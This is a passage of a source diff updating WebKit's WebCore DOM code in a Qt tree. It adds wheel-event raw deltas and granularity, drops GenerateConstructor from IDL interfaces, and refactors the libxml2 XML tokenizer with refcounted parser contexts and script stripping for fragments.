--- a/src/3rdparty/webkit/WebCore/dom/TransformSourceLibxslt.cpp
+++ b/src/3rdparty/webkit/WebCore/dom/TransformSourceLibxslt.cpp
@@ -24,6 +24,8 @@
  */
 
 #include "config.h"
+
+#if ENABLE(XSLT)
 #include "TransformSource.h"
 
 #include <libxml/tree.h>
@@ -41,3 +43,5 @@ TransformSource::~TransformSource()
 }
 
 }
+
+#endif
diff --git a/src/3rdparty/webkit/WebCore/dom/TreeWalker.h b/src/3rdparty/webkit/WebCore/dom/TreeWalker.h
index 4cc8e9a..88e59da 100644
--- a/src/3rdparty/webkit/WebCore/dom/TreeWalker.h
+++ b/src/3rdparty/webkit/WebCore/dom/TreeWalker.h
@@ -52,14 +52,15 @@ namespace WebCore {
         Node* previousNode(ScriptState*);
         Node* nextNode(ScriptState*);
 
-        // For non-JS bindings. Silently ignores the JavaScript exception if any.
-        Node* parentNode() { return parentNode(scriptStateFromNode(m_current.get())); }
-        Node* firstChild() { return firstChild(scriptStateFromNode(m_current.get())); }
-        Node* lastChild() { return lastChild(scriptStateFromNode(m_current.get())); }
-        Node* previousSibling() { return previousSibling(scriptStateFromNode(m_current.get())); }
-        Node* nextSibling() { return nextSibling(scriptStateFromNode(m_current.get())); }
-        Node* previousNode() { return previousNode(scriptStateFromNode(m_current.get())); }
-        Node* nextNode() { return nextNode(scriptStateFromNode(m_current.get())); }
+        // Do not call these functions. They are just scaffolding to support the Objective-C bindings.
+        // They operate in the main thread normal world, and they swallow JS exceptions.
+        Node* parentNode() { return parentNode(scriptStateFromNode(mainThreadNormalWorld(), m_current.get())); }
+        Node* firstChild() { return firstChild(scriptStateFromNode(mainThreadNormalWorld(), m_current.get())); }
+        Node* lastChild() { return lastChild(scriptStateFromNode(mainThreadNormalWorld(), m_current.get())); }
+        Node* previousSibling() { return previousSibling(scriptStateFromNode(mainThreadNormalWorld(), m_current.get())); }
+        Node* nextSibling() { return nextSibling(scriptStateFromNode(mainThreadNormalWorld(), m_current.get())); }
+        Node* previousNode() { return previousNode(scriptStateFromNode(mainThreadNormalWorld(), m_current.get())); }
+        Node* nextNode() { return nextNode(scriptStateFromNode(mainThreadNormalWorld(), m_current.get())); }
 
     private:
         TreeWalker(PassRefPtr<Node>, unsigned whatToShow, PassRefPtr<NodeFilter>, bool expandEntityReferences);
diff --git a/src/3rdparty/webkit/WebCore/dom/TreeWalker.idl b/src/3rdparty/webkit/WebCore/dom/TreeWalker.idl
index 4ff969e..f591128 100644
--- a/src/3rdparty/webkit/WebCore/dom/TreeWalker.idl
+++ b/src/3rdparty/webkit/WebCore/dom/TreeWalker.idl
@@ -22,8 +22,7 @@ module traversal {
 
     // Introduced in DOM Level 2:
     interface [
-        CustomMarkFunction,
-        GenerateConstructor
+        CustomMarkFunction
     ] TreeWalker {
         readonly attribute Node root;
         readonly attribute unsigned long whatToShow;
diff --git a/src/3rdparty/webkit/WebCore/dom/UIEvent.idl b/src/3rdparty/webkit/WebCore/dom/UIEvent.idl
index 36d0988..88dc108 100644
--- a/src/3rdparty/webkit/WebCore/dom/UIEvent.idl
+++ b/src/3rdparty/webkit/WebCore/dom/UIEvent.idl
@@ -20,9 +20,7 @@
 module events {
 
     // Introduced in DOM Level 2:
-    interface [
-        GenerateConstructor
-    ] UIEvent : Event {
+    interface UIEvent : Event {
         readonly attribute DOMWindow            view;
         readonly attribute long                 detail;
         
diff --git a/src/3rdparty/webkit/WebCore/dom/WebKitAnimationEvent.idl b/src/3rdparty/webkit/WebCore/dom/WebKitAnimationEvent.idl
index f874995..86ffcc5 100644
--- a/src/3rdparty/webkit/WebCore/dom/WebKitAnimationEvent.idl
+++ b/src/3rdparty/webkit/WebCore/dom/WebKitAnimationEvent.idl
@@ -25,9 +25,7 @@
 
 module events {
 
-    interface [
-        GenerateConstructor
-    ] WebKitAnimationEvent : Event {
+    interface WebKitAnimationEvent : Event {
      readonly attribute DOMString          animationName;
      readonly attribute double             elapsedTime;
      void               initWebKitAnimationEvent(in DOMString typeArg,
diff --git a/src/3rdparty/webkit/WebCore/dom/WebKitTransitionEvent.idl b/src/3rdparty/webkit/WebCore/dom/WebKitTransitionEvent.idl
index 8c645cb..fa619fa 100644
--- a/src/3rdparty/webkit/WebCore/dom/WebKitTransitionEvent.idl
+++ b/src/3rdparty/webkit/WebCore/dom/WebKitTransitionEvent.idl
@@ -25,9 +25,7 @@
 
 module events {
 
-    interface [
-        GenerateConstructor
-    ] WebKitTransitionEvent : Event {
+    interface WebKitTransitionEvent : Event {
      readonly attribute DOMString          propertyName;
      readonly attribute double             elapsedTime;
      void               initWebKitTransitionEvent(in DOMString typeArg,
diff --git a/src/3rdparty/webkit/WebCore/dom/WheelEvent.cpp b/src/3rdparty/webkit/WebCore/dom/WheelEvent.cpp
index 2039541..0981a57 100644
--- a/src/3rdparty/webkit/WebCore/dom/WheelEvent.cpp
+++ b/src/3rdparty/webkit/WebCore/dom/WheelEvent.cpp
@@ -2,7 +2,7 @@
  * Copyright (C) 2001 Peter Kelly (pmk@post.com)
  * Copyright (C) 2001 Tobias Anton (anton@stud.fbi.fh-darmstadt.de)
  * Copyright (C) 2006 Samuel Weinig (sam.weinig@gmail.com)
- * Copyright (C) 2003, 2005, 2006, 2008 Apple Inc. All rights reserved.
+ * Copyright (C) 2003, 2005, 2006, 2008, 2010 Apple Inc. All rights reserved.
  *
  * This library is free software; you can redistribute it and/or
  * modify it under the terms of the GNU Library General Public
@@ -31,21 +31,28 @@ namespace WebCore {
 WheelEvent::WheelEvent()
     : m_wheelDeltaX(0)
     , m_wheelDeltaY(0)
+    , m_rawDeltaX(0)
+    , m_rawDeltaY(0)
+    , m_granularity(Pixel)
 {
 }
 
-WheelEvent::WheelEvent(float wheelTicksX, float wheelTicksY, PassRefPtr<AbstractView> view,
+WheelEvent::WheelEvent(float wheelTicksX, float wheelTicksY, float rawDeltaX, float rawDeltaY,
+                       Granularity granularity, PassRefPtr<AbstractView> view,
                        int screenX, int screenY, int pageX, int pageY,
                        bool ctrlKey, bool altKey, bool shiftKey, bool metaKey)
     : MouseRelatedEvent(eventNames().mousewheelEvent,
-                        true, true, view, 0, screenX, screenY, pageX, pageY, 
+                        true, true, view, 0, screenX, screenY, pageX, pageY,
                         ctrlKey, altKey, shiftKey, metaKey)
     , m_wheelDeltaX(lroundf(wheelTicksX * 120))
     , m_wheelDeltaY(lroundf(wheelTicksY * 120)) // Normalize to the Windows 120 multiple
+    , m_rawDeltaX(rawDeltaX)
+    , m_rawDeltaY(rawDeltaY)
+    , m_granularity(granularity)
 {
 }
 
-void WheelEvent::initWheelEvent(int wheelDeltaX, int wheelDeltaY, PassRefPtr<AbstractView> view,
+void WheelEvent::initWheelEvent(int rawDeltaX, int rawDeltaY, PassRefPtr<AbstractView> view,
                                 int screenX, int screenY, int pageX, int pageY,
                                 bool ctrlKey, bool altKey, bool shiftKey, bool metaKey)
 {
@@ -60,12 +67,25 @@ void WheelEvent::initWheelEvent(int wheelDeltaX, int wheelDeltaY, PassRefPtr<Abs
     m_altKey = altKey;
     m_shiftKey = shiftKey;
     m_metaKey = metaKey;
-    m_wheelDeltaX = wheelDeltaX;
-    m_wheelDeltaY = wheelDeltaY;
+    
+    // Normalize to the Windows 120 multiple
+    m_wheelDeltaX = rawDeltaX * 120;
+    m_wheelDeltaY = rawDeltaY * 120;
+    
+    m_rawDeltaX = rawDeltaX;
+    m_rawDeltaY = rawDeltaY;
+    m_granularity = Pixel;
     
     initCoordinates(pageX, pageY);
 }
 
+void WheelEvent::initWebKitWheelEvent(int rawDeltaX, int rawDeltaY, PassRefPtr<AbstractView> view,
+                                      int screenX, int screenY, int pageX, int pageY,
+                                      bool ctrlKey, bool altKey, bool shiftKey, bool metaKey)
+{
+    initWheelEvent(rawDeltaX, rawDeltaY, view, screenX, screenY, pageX, pageY,
+                   ctrlKey, altKey, shiftKey, metaKey);
+}
 
 bool WheelEvent::isWheelEvent() const
 {
diff --git a/src/3rdparty/webkit/WebCore/dom/WheelEvent.h b/src/3rdparty/webkit/WebCore/dom/WheelEvent.h
index 04d5421..b085e86 100644
--- a/src/3rdparty/webkit/WebCore/dom/WheelEvent.h
+++ b/src/3rdparty/webkit/WebCore/dom/WheelEvent.h
@@ -2,7 +2,7 @@
  * Copyright (C) 2001 Peter Kelly (pmk@post.com)
  * Copyright (C) 2001 Tobias Anton (anton@stud.fbi.fh-darmstadt.de)
  * Copyright (C) 2006 Samuel Weinig (sam.weinig@gmail.com)
- * Copyright (C) 2003, 2004, 2005, 2006, 2008 Apple Inc. All rights reserved.
+ * Copyright (C) 2003, 2004, 2005, 2006, 2008, 2010 Apple Inc. All rights reserved.
  *
  * This library is free software; you can redistribute it and/or
  * modify it under the terms of the GNU Library General Public
@@ -31,39 +31,55 @@ namespace WebCore {
     // extension: mouse wheel event
     class WheelEvent : public MouseRelatedEvent {
     public:
+        enum Granularity { Pixel, Line, Page };
+
         static PassRefPtr<WheelEvent> create()
         {
             return adoptRef(new WheelEvent);
         }
-        static PassRefPtr<WheelEvent> create(float wheelTicksX, float wheelTicksY, PassRefPtr<AbstractView> view,
+        static PassRefPtr<WheelEvent> create(float wheelTicksX, float wheelTicksY,
+            float rawDeltaX, float rawDeltaY, Granularity granularity, PassRefPtr<AbstractView> view,
             int screenX, int screenY, int pageX, int pageY,
             bool ctrlKey, bool altKey, bool shiftKey, bool metaKey)
         {
-            return adoptRef(new WheelEvent(wheelTicksX, wheelTicksY, view, screenX, screenY, pageX, pageY,
+            return adoptRef(new WheelEvent(wheelTicksX, wheelTicksY, rawDeltaX, rawDeltaY,
+                granularity, view, screenX, screenY, pageX, pageY,
                 ctrlKey, altKey, shiftKey, metaKey));
         }
 
-        void initWheelEvent(int wheelDeltaX, int wheelDeltaY, PassRefPtr<AbstractView>,
+        void initWheelEvent(int rawDeltaX, int rawDeltaY, PassRefPtr<AbstractView>,
                             int screenX, int screenY, int pageX, int pageY,
                             bool ctrlKey, bool altKey, bool shiftKey, bool metaKey);
 
+        void initWebKitWheelEvent(int rawDeltaX, int rawDeltaY, PassRefPtr<AbstractView>,
+                                  int screenX, int screenY, int pageX, int pageY,
+                                  bool ctrlKey, bool altKey, bool shiftKey, bool metaKey);
+
         int wheelDelta() const { if (m_wheelDeltaY == 0) return m_wheelDeltaX; return m_wheelDeltaY; }
         int wheelDeltaX() const { return m_wheelDeltaX; }
         int wheelDeltaY() const { return m_wheelDeltaY; }
+        int rawDeltaX() const { return m_rawDeltaX; }
+        int rawDeltaY() const { return m_rawDeltaY; }
+        Granularity granularity() const { return m_granularity; }
 
         // Needed for Objective-C legacy support
         bool isHorizontal() const { return m_wheelDeltaX; }
 
     private:
         WheelEvent();
-        WheelEvent(float wheelTicksX, float wheelTicksY, PassRefPtr<AbstractView>,
+        WheelEvent(float wheelTicksX, float wheelTicksY, float rawDeltaX, float rawDeltaY,
+                   Granularity granularity, PassRefPtr<AbstractView>,
                    int screenX, int screenY, int pageX, int pageY,
                    bool ctrlKey, bool altKey, bool shiftKey, bool metaKey);
 
         virtual bool isWheelEvent() const;
-
+        
         int m_wheelDeltaX;
         int m_wheelDeltaY;
+
+        int m_rawDeltaX;
+        int m_rawDeltaY;
+        Granularity m_granularity;
     };
 
 } // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/dom/WheelEvent.idl b/src/3rdparty/webkit/WebCore/dom/WheelEvent.idl
index 4cba4ac..4c709ce 100644
--- a/src/3rdparty/webkit/WebCore/dom/WheelEvent.idl
+++ b/src/3rdparty/webkit/WebCore/dom/WheelEvent.idl
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2006, 2007 Apple Inc. All rights reserved.
+ * Copyright (C) 2006, 2007, 2010 Apple Inc. All rights reserved.
  * Copyright (C) 2006 Samuel Weinig <sam.weinig@gmail.com>
  *
  * This library is free software; you can redistribute it and/or
@@ -21,9 +21,7 @@
 module events {
 
     // Based off of proposed IDL interface for WheelEvent:
-    interface [
-        GenerateConstructor
-    ] WheelEvent : UIEvent {
+    interface WheelEvent : UIEvent {
         readonly attribute long    screenX;
         readonly attribute long    screenY;
         readonly attribute long    clientX;
@@ -59,6 +57,19 @@ module events {
                             in boolean shiftKey,
                             in boolean metaKey);
 #endif /* !defined(LANGUAGE_JAVASCRIPT) */
-    };
 
+#if defined(LANGUAGE_JAVASCRIPT) && LANGUAGE_JAVASCRIPT
+        void initWebKitWheelEvent(in long wheelDeltaX,
+                                  in long wheelDeltaY, 
+                                  in DOMWindow view, 
+                                  in long screenX,
+                                  in long screenY,
+                                  in long clientX,
+                                  in long clientY,
+                                  in boolean ctrlKey,
+                                  in boolean altKey,
+                                  in boolean shiftKey,
+                                  in boolean metaKey);
+#endif /* defined(LANGUAGE_JAVASCRIPT) */
+    };
 }
diff --git a/src/3rdparty/webkit/WebCore/dom/XMLTokenizer.cpp b/src/3rdparty/webkit/WebCore/dom/XMLTokenizer.cpp
index 30d39e0..94f5e98 100644
--- a/src/3rdparty/webkit/WebCore/dom/XMLTokenizer.cpp
+++ b/src/3rdparty/webkit/WebCore/dom/XMLTokenizer.cpp
@@ -51,7 +51,6 @@
 #include "ScriptSourceCode.h"
 #include "ScriptValue.h"
 #include "TextResourceDecoder.h"
-#include <wtf/Platform.h>
 #include <wtf/StringExtras.h>
 #include <wtf/Threading.h>
 #include <wtf/Vector.h>
@@ -91,7 +90,8 @@ void XMLTokenizer::pushCurrentNode(Node* n)
 
 void XMLTokenizer::popCurrentNode()
 {
-    ASSERT(m_currentNode);
+    if (!m_currentNode)
+        return;
     ASSERT(m_currentNodeStack.size());
 
     if (m_currentNode != m_doc)
@@ -133,8 +133,8 @@ void XMLTokenizer::write(const SegmentedString& s, bool /*appendData*/)
     
     doWrite(s.toString());
     
-    // After parsing, go ahead and dispatch image beforeload/load events.
-    ImageLoader::dispatchPendingEvents();
+    // After parsing, go ahead and dispatch image beforeload events.
+    ImageLoader::dispatchPendingBeforeLoadEvents();
 }
 
 void XMLTokenizer::handleError(ErrorType type, const char* m, int lineNumber, int columnNumber)
@@ -205,7 +205,11 @@ void XMLTokenizer::exitText()
 void XMLTokenizer::end()
 {
     doEnd();
-    
+
+    // doEnd() could process a script tag, thus pausing parsing.
+    if (m_parserPaused)
+        return;
+
     if (m_sawError)
         insertErrorMessageBlock();
     else {
diff --git a/src/3rdparty/webkit/WebCore/dom/XMLTokenizer.h b/src/3rdparty/webkit/WebCore/dom/XMLTokenizer.h
index a83e73a..ddf7e6f 100644
--- a/src/3rdparty/webkit/WebCore/dom/XMLTokenizer.h
+++ b/src/3rdparty/webkit/WebCore/dom/XMLTokenizer.h
@@ -27,6 +27,7 @@
 
 #include "CachedResourceClient.h"
 #include "CachedResourceHandle.h"
+#include "MappedAttributeEntry.h"
 #include "SegmentedString.h"
 #include "StringHash.h"
 #include "Tokenizer.h"
@@ -52,10 +53,27 @@ namespace WebCore {
     class PendingCallbacks;
     class ScriptElement;
 
+#if !USE(QXMLSTREAM)
+    class XMLParserContext : public RefCounted<XMLParserContext> {
+    public:
+        static PassRefPtr<XMLParserContext> createMemoryParser(xmlSAXHandlerPtr, void*, const char*);
+        static PassRefPtr<XMLParserContext> createStringParser(xmlSAXHandlerPtr, void*);
+        ~XMLParserContext();
+        xmlParserCtxtPtr context() const { return m_context; }
+
+    private:
+        XMLParserContext(xmlParserCtxtPtr context)
+            : m_context(context)
+        {
+        }
+        xmlParserCtxtPtr m_context;
+    };
+#endif
+
     class XMLTokenizer : public Tokenizer, public CachedResourceClient {
     public:
         XMLTokenizer(Document*, FrameView* = 0);
-        XMLTokenizer(DocumentFragment*, Element*);
+        XMLTokenizer(DocumentFragment*, Element*, FragmentScriptingPermission);
         ~XMLTokenizer();
 
         enum ErrorType { warning, nonFatal, fatal };
@@ -121,7 +139,7 @@ public:
         void endDocument();
 #endif
     private:
-        friend bool parseXMLDocumentFragment(const String& chunk, DocumentFragment* fragment, Element* parent);
+        friend bool parseXMLDocumentFragment(const String&, DocumentFragment*, Element*, FragmentScriptingPermission);
 
         void initializeParserContext(const char* chunk = 0);
 
@@ -146,7 +164,8 @@ public:
         QXmlStreamReader m_stream;
         bool m_wroteText;
 #else
-        xmlParserCtxtPtr m_context;
+        xmlParserCtxtPtr context() const { return m_context ? m_context->context() : 0; };
+        RefPtr<XMLParserContext> m_context;
         OwnPtr<PendingCallbacks> m_pendingCallbacks;
         Vector<xmlChar> m_bufferedText;
 #endif
@@ -181,6 +200,7 @@ public:
         typedef HashMap<String, String> PrefixForNamespaceMap;
         PrefixForNamespaceMap m_prefixToNamespaceMap;
         SegmentedString m_pendingSrc;
+        FragmentScriptingPermission m_scriptingPermission;
     };
 
 #if ENABLE(XSLT)
@@ -188,7 +208,7 @@ void* xmlDocPtrForString(DocLoader*, const String& source, const String& url);
 #endif
 
 HashMap<String, String> parseAttributes(const String&, bool& attrsOK);
-bool parseXMLDocumentFragment(const String&, DocumentFragment*, Element* parent = 0);
+bool parseXMLDocumentFragment(const String&, DocumentFragment*, Element* parent = 0, FragmentScriptingPermission = FragmentScriptingAllowed);
 
 } // namespace WebCore
 
diff --git a/src/3rdparty/webkit/WebCore/dom/XMLTokenizerLibxml2.cpp b/src/3rdparty/webkit/WebCore/dom/XMLTokenizerLibxml2.cpp
index 9aa0961..70c98bd 100644
--- a/src/3rdparty/webkit/WebCore/dom/XMLTokenizerLibxml2.cpp
+++ b/src/3rdparty/webkit/WebCore/dom/XMLTokenizerLibxml2.cpp
@@ -51,10 +51,10 @@
 #include "ScriptValue.h"
 #include "TextResourceDecoder.h"
 #include "TransformSource.h"
+#include "XMLNSNames.h"
 #include "XMLTokenizerScope.h"
 #include <libxml/parser.h>
 #include <libxml/parserInternals.h>
-#include <wtf/Platform.h>
 #include <wtf/StringExtras.h>
 #include <wtf/Threading.h>
 #include <wtf/UnusedParam.h>
@@ -168,11 +168,11 @@ public:
         m_callbacks.append(callback);        
     }
     
-    void appendErrorCallback(XMLTokenizer::ErrorType type, const char* message, int lineNumber, int columnNumber)
+    void appendErrorCallback(XMLTokenizer::ErrorType type, const xmlChar* message, int lineNumber, int columnNumber)
     {
         PendingErrorCallback* callback = new PendingErrorCallback;
         
-        callback->message = strdup(message);
+        callback->message = xmlStrdup(message);
         callback->type = type;
         callback->lineNumber = lineNumber;
         callback->columnNumber = columnNumber;
@@ -315,16 +315,16 @@ private:
     struct PendingErrorCallback: public PendingCallback {
         virtual ~PendingErrorCallback() 
         {
-            free(message);
+            xmlFree(message);
         }
         
         virtual void call(XMLTokenizer* tokenizer) 
         {
-            tokenizer->handleError(type, message, lineNumber, columnNumber);
+            tokenizer->handleError(type, reinterpret_cast<char*>(message), lineNumber, columnNumber);
         }
         
         XMLTokenizer::ErrorType type;
-        char* message;
+        xmlChar* message;
         int lineNumber;
         int columnNumber;
     };
@@ -465,7 +465,7 @@ static void errorFunc(void*, const char*, ...)
 
 static bool didInit = false;
 
-static xmlParserCtxtPtr createStringParser(xmlSAXHandlerPtr handlers, void* userData)
+PassRefPtr<XMLParserContext> XMLParserContext::createStringParser(xmlSAXHandlerPtr handlers, void* userData)
 {
     if (!didInit) {
         xmlInitParser();
@@ -482,12 +482,12 @@ static xmlParserCtxtPtr createStringParser(xmlSAXHandlerPtr handlers, void* user
     const unsigned char BOMHighByte = *reinterpret_cast<const unsigned char*>(&BOM);
     xmlSwitchEncoding(parser, BOMHighByte == 0xFF ? XML_CHAR_ENCODING_UTF16LE : XML_CHAR_ENCODING_UTF16BE);
 
-    return parser;
+    return adoptRef(new XMLParserContext(parser));
 }
 
 
 // Chunk should be encoded in UTF-8
-static xmlParserCtxtPtr createMemoryParser(xmlSAXHandlerPtr handlers, void* userData, const char* chunk)
+PassRefPtr<XMLParserContext> XMLParserContext::createMemoryParser(xmlSAXHandlerPtr handlers, void* userData, const char* chunk)
 {
     if (!didInit) {
         xmlInitParser();
@@ -518,8 +518,8 @@ static xmlParserCtxtPtr createMemoryParser(xmlSAXHandlerPtr handlers, void* user
     parser->str_xmlns = xmlDictLookup(parser->dict, BAD_CAST "xmlns", 5);
     parser->str_xml_ns = xmlDictLookup(parser->dict, XML_XML_NAMESPACE, 36);
     parser->_private = userData;
-
-    return parser;
+    
+    return adoptRef(new XMLParserContext(parser));
 }
 
 // --------------------------------
@@ -547,10 +547,11 @@ XMLTokenizer::XMLTokenizer(Document* _doc, FrameView* _view)
     , m_pendingScript(0)
     , m_scriptStartLine(0)
     , m_parsingFragment(false)
+    , m_scriptingPermission(FragmentScriptingAllowed)
 {
 }
 
-XMLTokenizer::XMLTokenizer(DocumentFragment* fragment, Element* parentElement)
+XMLTokenizer::XMLTokenizer(DocumentFragment* fragment, Element* parentElement, FragmentScriptingPermission scriptingPermission)
     : m_doc(fragment->document())
     , m_view(0)
     , m_context(0)
@@ -573,6 +574,7 @@ XMLTokenizer::XMLTokenizer(DocumentFragment* fragment, Element* parentElement)
     , m_pendingScript(0)
     , m_scriptStartLine(0)
     , m_parsingFragment(true)
+    , m_scriptingPermission(scriptingPermission)
 {
     fragment->ref();
     if (m_doc)
@@ -596,9 +598,9 @@ XMLTokenizer::XMLTokenizer(DocumentFragment* fragment, Element* parentElement)
         if (NamedNodeMap* attrs = element->attributes()) {
             for (unsigned i = 0; i < attrs->length(); i++) {
                 Attribute* attr = attrs->attributeItem(i);
-                if (attr->localName() == "xmlns")
+                if (attr->localName() == xmlnsAtom)
                     m_defaultNamespaceURI = attr->value();
-                else if (attr->prefix() == "xmlns")
+                else if (attr->prefix() == xmlnsAtom)
                     m_prefixToNamespaceMap.set(attr->localName(), attr->value());
             }
         }
@@ -609,6 +611,13 @@ XMLTokenizer::XMLTokenizer(DocumentFragment* fragment, Element* parentElement)
         m_defaultNamespaceURI = parentElement->namespaceURI();
 }
 
+XMLParserContext::~XMLParserContext()
+{
+    if (m_context->myDoc)
+        xmlFreeDoc(m_context->myDoc);
+    xmlFreeParserCtxt(m_context);
+}
+
 XMLTokenizer::~XMLTokenizer()
 {
     clearCurrentNodeStack();
@@ -616,15 +625,16 @@ XMLTokenizer::~XMLTokenizer()
         m_doc->deref();
     if (m_pendingScript)
         m_pendingScript->removeClient(this);
-    if (m_context)
-        xmlFreeParserCtxt(m_context);
 }
 
 void XMLTokenizer::doWrite(const String& parseString)
 {
     if (!m_context)
         initializeParserContext();
-    
+
+    // Protect the libxml context from deletion during a callback
+    RefPtr<XMLParserContext> context = m_context;
+
     // libXML throws an error if you try to switch the encoding for an empty string.
     if (parseString.length()) {
         // Hack around libxml2's lack of encoding overide support by manually
@@ -633,15 +643,15 @@ void XMLTokenizer::doWrite(const String& parseString)
         // and switch encodings, causing the parse to fail.
         const UChar BOM = 0xFEFF;
         const unsigned char BOMHighByte = *reinterpret_cast<const unsigned char*>(&BOM);
-        xmlSwitchEncoding(m_context, BOMHighByte == 0xFF ? XML_CHAR_ENCODING_UTF16LE : XML_CHAR_ENCODING_UTF16BE);
+        xmlSwitchEncoding(context->context(), BOMHighByte == 0xFF ? XML_CHAR_ENCODING_UTF16LE : XML_CHAR_ENCODING_UTF16BE);
 
         XMLTokenizerScope scope(m_doc->docLoader());
-        xmlParseChunk(m_context, reinterpret_cast<const char*>(parseString.characters()), sizeof(UChar) * parseString.length(), 0);
+        xmlParseChunk(context->context(), reinterpret_cast<const char*>(parseString.characters()), sizeof(UChar) * parseString.length(), 0);
     }
     
     if (m_doc->decoder() && m_doc->decoder()->sawError()) {
         // If the decoder saw an error, report it as fatal (stops parsing)
-        handleError(fatal, "Encoding error", lineNumber(), columnNumber());
+        handleError(fatal, "Encoding error", context->context()->input->line, context->context()->input->col);
     }
 
     return;
@@ -666,15 +676,15 @@ struct _xmlSAX2Namespace {
 };
 typedef struct _xmlSAX2Namespace xmlSAX2Namespace;
 
-static inline void handleElementNamespaces(Element* newElement, const xmlChar** libxmlNamespaces, int nb_namespaces, ExceptionCode& ec)
+static inline void handleElementNamespaces(Element* newElement, const xmlChar** libxmlNamespaces, int nb_namespaces, ExceptionCode& ec, FragmentScriptingPermission scriptingPermission)
 {
     xmlSAX2Namespace* namespaces = reinterpret_cast<xmlSAX2Namespace*>(libxmlNamespaces);
     for (int i = 0; i < nb_namespaces; i++) {
-        String namespaceQName = "xmlns";
+        AtomicString namespaceQName = xmlnsAtom;
         String namespaceURI = toString(namespaces[i].uri);
         if (namespaces[i].prefix)
             namespaceQName = "xmlns:" + toString(namespaces[i].prefix);
-        newElement->setAttributeNS("http://www.w3.org/2000/xmlns/", namespaceQName, namespaceURI, ec);
+        newElement->setAttributeNS(XMLNSNames::xmlnsNamespaceURI, namespaceQName, namespaceURI, ec, scriptingPermission);
         if (ec) // exception setting attributes
             return;
     }
@@ -689,7 +699,7 @@ struct _xmlSAX2Attributes {
 };
 typedef struct _xmlSAX2Attributes xmlSAX2Attributes;
 
-static inline void handleElementAttributes(Element* newElement, const xmlChar** libxmlAttributes, int nb_attributes, ExceptionCode& ec)
+static inline void handleElementAttributes(Element* newElement, const xmlChar** libxmlAttributes, int nb_attributes, ExceptionCode& ec, FragmentScriptingPermission scriptingPermission)
 {
     xmlSAX2Attributes* attributes = reinterpret_cast<xmlSAX2Attributes*>(libxmlAttributes);
     for (int i = 0; i < nb_attributes; i++) {
@@ -700,7 +710,7 @@ static inline void handleElementAttributes(Element* newElement, const xmlChar**
         String attrURI = attrPrefix.isEmpty() ? String() : toString(attributes[i].uri);
         String attrQName = attrPrefix.isEmpty() ? attrLocalName : attrPrefix + ":" + attrLocalName;
         
-        newElement->setAttributeNS(attrURI, attrQName, attrValue, ec);
+        newElement->setAttributeNS(attrURI, attrQName, attrValue, ec, scriptingPermission);
         if (ec) // exception setting attributes
             return;
     }
@@ -768,17 +778,17 @@ void XMLTokenizer::startElementNs(const xmlChar* xmlLocalName, const xmlChar* xm
     }
     
     ExceptionCode ec = 0;
-    handleElementNamespaces(newElement.get(), libxmlNamespaces, nb_namespaces, ec);
+    handleElementNamespaces(newElement.get(), libxmlNamespaces, nb_namespaces, ec, m_scriptingPermission);
     if (ec) {
         stopParsing();
         return;
     }
 
     ScriptController* jsProxy = m_doc->frame() ? m_doc->frame()->script() : 0;
-    if (jsProxy && m_doc->frame()->script()->isEnabled())
+    if (jsProxy && m_doc->frame()->script()->canExecuteScripts(NotAboutToExecuteScript))
         jsProxy->setEventHandlerLineNumber(lineNumber());
 
-    handleElementAttributes(newElement.get(), libxmlAttributes, nb_attributes, ec);
+    handleElementAttributes(newElement.get(), libxmlAttributes, nb_attributes, ec, m_scriptingPermission);
     if (ec) {
         stopParsing();
         return;
@@ -802,7 +812,7 @@ void XMLTokenizer::startElementNs(const xmlChar* xmlLocalName, const xmlChar* xm
     if (m_view && !newElement->attached())
         newElement->attach();
 
-    if (isFirstElement && m_doc->frame())
+    if (!m_parsingFragment && isFirstElement && m_doc->frame())
         m_doc->frame()->loader()->dispatchDocumentElementAvailable();
 }
 
@@ -821,6 +831,13 @@ void XMLTokenizer::endElementNs()
     Node* n = m_currentNode;
     n->finishParsingChildren();
 
+    if (m_scriptingPermission == FragmentScriptingNotAllowed && n->isElementNode() && toScriptElement(static_cast<Element*>(n))) {
+        popCurrentNode();
+        ExceptionCode ec;       
+        n->remove(ec);
+        return;
+    }
+    
     if (!n->isElementNode() || !m_view) {
         popCurrentNode();
         return;
@@ -891,7 +908,7 @@ void XMLTokenizer::error(ErrorType type, const char* message, va_list args)
     if (m_parserStopped)
         return;
 
-#if COMPILER(MSVC)
+#if COMPILER(MSVC) || COMPILER(RVCT)
     char m[1024];
     vsnprintf(m, sizeof(m) - 1, message, args);
 #else
@@ -901,11 +918,11 @@ void XMLTokenizer::error(ErrorType type, const char* message, va_list args)
 #endif
     
     if (m_parserPaused)
-        m_pendingCallbacks->appendErrorCallback(type, m, lineNumber(), columnNumber());
+        m_pendingCallbacks->appendErrorCallback(type, reinterpret_cast<const xmlChar*>(m), lineNumber(), columnNumber());
     else
         handleError(type, m, lineNumber(), columnNumber());
 
-#if !COMPILER(MSVC)
+#if !COMPILER(MSVC) && !COMPILER(RVCT)
     free(m);
 #endif
 }
@@ -1041,13 +1058,7 @@ void XMLTokenizer::internalSubset(const xmlChar* name, const xmlChar* externalID
         }
 #endif
 
-#if ENABLE(XHTMLMP)
-        m_doc->addChild(DocumentType::create(m_doc, dtdName, extId, toString(systemID)));
-#elif ENABLE(WML)
-        m_doc->addChild(DocumentType::create(m_doc, toString(name), extId, toString(systemID)));
-#else
         m_doc->addChild(DocumentType::create(m_doc, toString(name), toString(externalID), toString(systemID)));
-#endif
     }
 }
 
@@ -1234,7 +1245,7 @@ static void externalSubsetHandler(void* closure, const xmlChar*, const xmlChar*
         || (extId == "-//W3C//DTD XHTML Basic 1.0//EN")
         || (extId == "-//W3C//DTD XHTML 1.1 plus MathML 2.0//EN")
         || (extId == "-//W3C//DTD XHTML 1.1 plus MathML 2.0 plus SVG 1.1//EN")
-#if !ENABLE(XHTMLMP)
+#if ENABLE(XHTMLMP)
         || (extId == "-//WAPFORUM//DTD XHTML Mobile 1.0//EN")
 #endif
        )
@@ -1277,9 +1288,9 @@ void XMLTokenizer::initializeParserContext(const char* chunk)
 
     XMLTokenizerScope scope(m_doc->docLoader());
     if (m_parsingFragment)
-        m_context = createMemoryParser(&sax, this, chunk);
+        m_context = XMLParserContext::createMemoryParser(&sax, this, chunk);
     else
-        m_context = createStringParser(&sax, this);
+        m_context = XMLParserContext::createStringParser(&sax, this);
 }
 
 void XMLTokenizer::doEnd()
@@ -1296,16 +1307,16 @@ void XMLTokenizer::doEnd()
     }
 #endif
 
+    if (m_parserStopped)
+        return;
+
     if (m_context) {
         // Tell libxml we're done.
         {
             XMLTokenizerScope scope(m_doc->docLoader());
